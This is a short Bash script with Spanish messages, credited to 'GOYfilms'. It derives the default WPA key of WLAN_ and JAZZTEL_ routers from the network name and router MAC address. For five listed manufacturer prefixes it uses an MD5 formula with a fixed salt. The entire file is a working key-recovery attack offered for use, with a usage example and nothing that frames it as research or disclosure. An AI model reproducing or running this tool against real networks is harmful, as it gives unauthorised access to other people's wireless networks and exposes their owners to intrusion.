#!/bin/bash
#by GOYfilms

#FUNCIONES

function tipo_1
{
ESSID_NUM=`echo -n "$NOMBRE_AP" | tr 'a-z' 'A-Z' | cut -d_ -f2`
BSSID=`echo -n "$MAC_AP" | tr 'a-z' 'A-Z' | tr -d :`
BSSID_CUT=`echo -n "$BSSID" | cut -c-8`
CLAVE=`echo -n bcgbghgg$BSSID_CUT$ESSID_NUM$BSSID | md5sum | cut -c-20`
}

function tipo_2
{
ESSID_NUM=`echo -n "$NOMBRE_AP" | tr 'A-Z' 'a-z' | cut -d_ -f2`
BSSID_CUT=`echo -n "$MAC_AP" | tr 'A-Z' 'a-z' | tr -d : | cut -c-8`
CLAVE=`echo -n $BSSID_CUT$ESSID_NUM | md5sum | tr 'a-z' 'A-Z' | cut -c-20`
}
#PROGRAMA PRINCIPAL

NOMBRE_AP="$1"
MAC_AP="$2"
if [ $# -ne 2 ]
then
	echo
	echo Script by GOYfilms
	echo
	echo BSSID soportadas:
	echo
	echo "   64:68:0C:XX:XX:XX"
	echo "   00:1D:20:XX:XX:XX"
	echo "   00:30:DA:XX:XX:XX"
	echo "   38:72:C0:XX:XX:XX"
	echo "   00:1F:A4:XX:XX:XX"
	echo
	echo "uso: $0 <ESSID> <BSSID>"
	echo
	echo "   <ESSID> = Nombre de la red"
	echo "   <BSSID> = Dirección MAC del router"
	echo
	echo "Ejemplo: $0 WLAN_AB12 64:68:0C:12:34:56"
	echo
	exit 1
fi
BSSID_CARACTERES=`echo -n "$2" | wc -c`
if [ "$BSSID_CARACTERES" != "17" ]
then
	echo
	echo "Error en longitud de BSSID"
	echo
	exit 1
fi
ESSID_NOMBRE=`echo -n "$1" | tr 'a-z' 'A-Z' | cut -d_ -f1`
if [ "$ESSID_NOMBRE" != "WLAN" ] && [ "$ESSID_NOMBRE" != "JAZZTEL" ]
then
	echo
	echo "ESSID no válido"
	echo
	exit 1
fi
FABRICANTE=`echo -n "$2" | tr 'a-z' 'A-Z' | cut -c-8`
case $FABRICANTE in
	64:68:0C)
		tipo_1;;
	00:1D:20)
		tipo_1;;
	00:30:DA)
		tipo_1;;
	38:72:C0)
		tipo_1;;
	00:1F:A4)
		tipo_2;;
	*)
		echo
		echo "BSSID no soportado"
		echo
		exit 1;;
esac

echo -n $CLAVE
echo
exit 0